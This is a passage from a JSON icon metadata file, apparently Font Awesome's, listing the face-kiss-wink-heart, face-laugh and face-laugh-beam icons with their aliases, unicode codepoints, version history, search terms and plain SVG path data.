6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm48.7-198.3c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 443.1 257.4 448 240 448c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1 .3-.2 .6-.4c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.4-.3-.5-.3-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zm-87.1-84.9l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm304.7 41.7c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 427.1 257.4 432 240 432c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zm-87.1-68.9l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm304.7 41.7c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 427.1 257.4 432 240 432c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zm-87.1-68.9l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-kiss-wink-heart": {
    "aliases": {
      "names": ["kiss-wink-heart"],
      "unicodes": {
        "composite": ["1f618"],
        "secondary": ["10f598"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "beso",
        "emoticon",
        "face",
        "face blowing a kiss",
        "kiss",
        "love",
        "smooch"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f598",
    "label": "Face Kiss Wink Heart",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M498 339.7c9.1-26.2 14-54.4 14-83.7C512 114.6 397.4 0 256 0S0 114.6 0 256S114.6 512 256 512c35.4 0 69.1-7.2 99.7-20.2c-4.8-5.5-8.5-12.2-10.4-19.7l-22.9-89.3c-10-39 11.8-80.9 51.8-92.1c37.2-10.4 73.8 10.1 87.5 44c12.7-1.6 25.1 .4 36.2 5zM296 332c0 6.9-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C258.7 443.1 241.4 448 224 448c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.6-.4-.3-.2-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm194.8 57.6c-17.6-23.5-52.8-23.5-70.4 0c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2zM434 352.3c-6-23.2-28.8-37-51.1-30.8s-35.4 30.1-29.5 53.4l22.9 89.3c2.2 8.7 11.2 13.9 19.8 11.4l84.9-23.8c22.2-6.2 35.4-30.1 29.5-53.4s-28.8-37-51.1-30.8l-20.2 5.6-5.4-21z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M498 339.7c9.1-26.2 14-54.4 14-83.7C512 114.6 397.4 0 256 0S0 114.6 0 256S114.6 512 256 512c35.4 0 69.1-7.2 99.7-20.2c-4.8-5.5-8.5-12.2-10.4-19.7l-22.9-89.3c-10-39 11.8-80.9 51.8-92.1c37.2-10.4 73.8 10.1 87.5 44c12.7-1.6 25.1 .4 36.2 5zM296 332c0 6.9-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C258.7 443.1 241.4 448 224 448c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.6-.4-.3-.2-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm194.8 57.6c-17.6-23.5-52.8-23.5-70.4 0c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2zM434 352.3c-6-23.2-28.8-37-51.1-30.8s-35.4 30.1-29.5 53.4l22.9 89.3c2.2 8.7 11.2 13.9 19.8 11.4l84.9-23.8c22.2-6.2 35.4-30.1 29.5-53.4s-28.8-37-51.1-30.8l-20.2 5.6-5.4-21z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M338.9 446.8c-25.4 11-53.4 17.2-82.9 17.2C141.1 464 48 370.9 48 256S141.1 48 256 48s208 93.1 208 208c0 22.4-3.5 43.9-10.1 64.1c3.1 4.5 5.7 9.4 7.8 14.6c12.7-1.6 25.1 .4 36.2 5c9.1-26.2 14-54.4 14-83.7C512 114.6 397.4 0 256 0S0 114.6 0 256S114.6 512 256 512c35.4 0 69.1-7.2 99.7-20.2c-4.8-5.5-8.5-12.2-10.4-19.7l-6.5-25.3zM296 316c0-6.9-3.1-13.2-7.3-18.3c-4.3-5.2-10.1-9.7-16.7-13.4C258.7 276.9 241.4 272 224 272c-3.6 0-6.8 2.5-7.7 6s.6 7.2 3.8 9l0 0 0 0 0 0 .2 .1c.2 .1 .5 .3 .9 .5c.8 .5 2 1.2 3.4 2.1c2.8 1.9 6.5 4.5 10.2 7.6c3.7 3.1 7.2 6.6 9.6 10.1c2.5 3.5 3.5 6.4 3.5 8.6s-1 5-3.5 8.6c-2.5 3.5-5.9 6.9-9.6 10.1c-3.7 3.1-7.4 5.7-10.2 7.6c-1.4 .9-2.6 1.6-3.4 2.1c-.4 .2-.7 .4-.9 .5l-.2 .1 0 0 0 0 0 0 0 0 0 0c-2.5 1.4-4.1 4.1-4.1 7s1.6 5.6 4.1 7l0 0 0 0 0 0 .2 .1c.2 .1 .5 .3 .9 .5c.8 .5 2 1.2 3.4 2.1c2.8 1.9 6.5 4.5 10.2 7.6c3.7 3.1 7.2 6.6 9.6 10.1c2.5 3.5 3.5 6.4 3.5 8.6s-1 5-3.5 8.6c-2.5 3.5-5.9 6.9-9.6 10.1c-3.7 3.1-7.4 5.7-10.2 7.6c-1.4 .9-2.6 1.6-3.4 2.1c-.4 .2-.7 .4-.9 .5l-.2 .1 0 0 0 0 0 0 0 0c-3.2 1.8-4.7 5.5-3.8 9s4.1 6 7.7 6c17.4 0 34.7-4.9 47.9-12.3c6.6-3.7 12.5-8.2 16.7-13.4c4.3-5.1 7.3-11.4 7.3-18.3s-3.1-13.2-7.3-18.3c-4.3-5.2-10.1-9.7-16.7-13.4c-2.7-1.5-5.7-3-8.7-4.3c3.1-1.3 6-2.7 8.7-4.3c6.6-3.7 12.5-8.2 16.7-13.4c4.3-5.1 7.3-11.4 7.3-18.3zM176.4 240a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm159.3-20c10.6 0 19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C375.7 186.8 355 180 335.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9c5.5-5.8 14.8-9.7 25.4-9.7zM434 352.3c-6-23.2-28.8-37-51.1-30.8s-35.4 30.1-29.5 53.4l22.9 89.3c2.2 8.7 11.2 13.9 19.8 11.4l84.9-23.8c22.2-6.2 35.4-30.1 29.5-53.4s-28.8-37-51.1-30.8l-20.2 5.6-5.4-21z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M338.9 446.8c-25.4 11-53.4 17.2-82.9 17.2C141.1 464 48 370.9 48 256S141.1 48 256 48s208 93.1 208 208c0 22.4-3.5 43.9-10.1 64.1c3.1 4.5 5.7 9.4 7.8 14.6c12.7-1.6 25.1 .4 36.2 5c9.1-26.2 14-54.4 14-83.7C512 114.6 397.4 0 256 0S0 114.6 0 256S114.6 512 256 512c35.4 0 69.1-7.2 99.7-20.2c-4.8-5.5-8.5-12.2-10.4-19.7l-6.5-25.3zM296 316c0-6.9-3.1-13.2-7.3-18.3c-4.3-5.2-10.1-9.7-16.7-13.4C258.7 276.9 241.4 272 224 272c-3.6 0-6.8 2.5-7.7 6s.6 7.2 3.8 9l0 0 0 0 0 0 .2 .1c.2 .1 .5 .3 .9 .5c.8 .5 2 1.2 3.4 2.1c2.8 1.9 6.5 4.5 10.2 7.6c3.7 3.1 7.2 6.6 9.6 10.1c2.5 3.5 3.5 6.4 3.5 8.6s-1 5-3.5 8.6c-2.5 3.5-5.9 6.9-9.6 10.1c-3.7 3.1-7.4 5.7-10.2 7.6c-1.4 .9-2.6 1.6-3.4 2.1c-.4 .2-.7 .4-.9 .5l-.2 .1 0 0 0 0 0 0 0 0 0 0c-2.5 1.4-4.1 4.1-4.1 7s1.6 5.6 4.1 7l0 0 0 0 0 0 .2 .1c.2 .1 .5 .3 .9 .5c.8 .5 2 1.2 3.4 2.1c2.8 1.9 6.5 4.5 10.2 7.6c3.7 3.1 7.2 6.6 9.6 10.1c2.5 3.5 3.5 6.4 3.5 8.6s-1 5-3.5 8.6c-2.5 3.5-5.9 6.9-9.6 10.1c-3.7 3.1-7.4 5.7-10.2 7.6c-1.4 .9-2.6 1.6-3.4 2.1c-.4 .2-.7 .4-.9 .5l-.2 .1 0 0 0 0 0 0 0 0c-3.2 1.8-4.7 5.5-3.8 9s4.1 6 7.7 6c17.4 0 34.7-4.9 47.9-12.3c6.6-3.7 12.5-8.2 16.7-13.4c4.3-5.1 7.3-11.4 7.3-18.3s-3.1-13.2-7.3-18.3c-4.3-5.2-10.1-9.7-16.7-13.4c-2.7-1.5-5.7-3-8.7-4.3c3.1-1.3 6-2.7 8.7-4.3c6.6-3.7 12.5-8.2 16.7-13.4c4.3-5.1 7.3-11.4 7.3-18.3zM176.4 240a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm159.3-20c10.6 0 19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C375.7 186.8 355 180 335.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9c5.5-5.8 14.8-9.7 25.4-9.7zM434 352.3c-6-23.2-28.8-37-51.1-30.8s-35.4 30.1-29.5 53.4l22.9 89.3c2.2 8.7 11.2 13.9 19.8 11.4l84.9-23.8c22.2-6.2 35.4-30.1 29.5-53.4s-28.8-37-51.1-30.8l-20.2 5.6-5.4-21z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-laugh": {
    "aliases": {
      "names": ["laugh"],
      "unicodes": {
        "secondary": ["10f599"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["LOL", "emoticon", "face", "laugh", "smile"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f599",
    "label": "Face Laugh",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-laugh-beam": {
    "aliases": {
      "names": ["laugh-beam"],
      "unicodes": {
        "composite": ["1f601"],
        "secondary": ["10f59a"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "LOL",
        "beaming face with smiling eyes",
        "emoticon",
        "eye",
        "face",
        "grin",
        "happy",
        "smile"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f59a",
    "label": "Face Laugh Beam",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zM217.6 212.8l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
